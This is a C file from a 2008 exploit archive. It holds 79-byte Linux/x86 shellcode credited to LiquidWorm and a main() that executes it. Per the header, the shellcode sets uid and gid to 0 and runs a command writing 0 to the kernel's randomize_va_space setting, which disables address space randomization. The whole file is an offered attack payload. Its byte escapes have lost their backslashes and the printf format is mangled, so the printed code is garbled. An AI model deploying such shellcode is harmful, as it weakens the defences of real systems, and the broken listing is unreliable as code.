/*
 * Linux/x86 (Fedora 8) setuid(0) + setgid(0) + execve("echo 0 > /proc/sys/kernel/randomize_va_space") 
 *
 * by LiquidWorm
 * 
 * 2008 (c) www.zeroscience.org
 *
 * liquidworm [at] gmail.com
 *
 * 79 bytes.
 * 
 */


char sc[] =

  "x6ax17"			// push	$0x17
  "x58"			// pop 	%eax
  "x31xdb"			// xor	%ebx, %ebx
  "xcdx80"			// int	$0x80
  "x6ax2e"			// push	$0x2e
  "x58"			// pop	%eax
  "x53"			// push %ebx
  "xcdx80"			// int	$0x80
  "x31xd2"			// xor	%edx, %edx
  "x6ax0b"			// push	$0xb
  "x58"			// pop	%eax
  "x52"			// push	%edx
  "x70x61x63x65"            // push $0x65636170
  "x76x61x5fx73"            // push $0x735f6176
  "x69x7ax65x5f"            // push $0x5f657a69
  "x6ex64x6fx6d"            // push $0x6d6f646e
  "x6cx2fx72x61"            // push $0x61722f6c
  "x65x72x6ex65"            // push $0x656e7265
  "x73x2fx2fx6b"            // push $0x6b2f2f73
  "x2fx2fx73x79"            // push $0x79732f2f
  "x70x72x6fx63"            // push $0x636f7270
  "x20x3ex20x2f"            // push $0x2f203e20
  "x68x6fx20x30"            // push $0x30206f68
  "x2fx2fx65x63"            // push $0x63652f2f
  "x2fx62x69x6e"            // push $0x6e69622f
  "x89xe3"			// mov	%esp, %ebx
  "x52"			// push	%edx
  "x53"			// push	%ebx
  "x89xe1"			// mov	%esp, %ecx
  "xcdx80";			// int	$0x80
 
int main()
{
	int (*fp)() = (int(*)())sc;
    	printf("bytes: %un", strlen(sc));
    	fp();
}

// www.Syue.com [2008-08-18]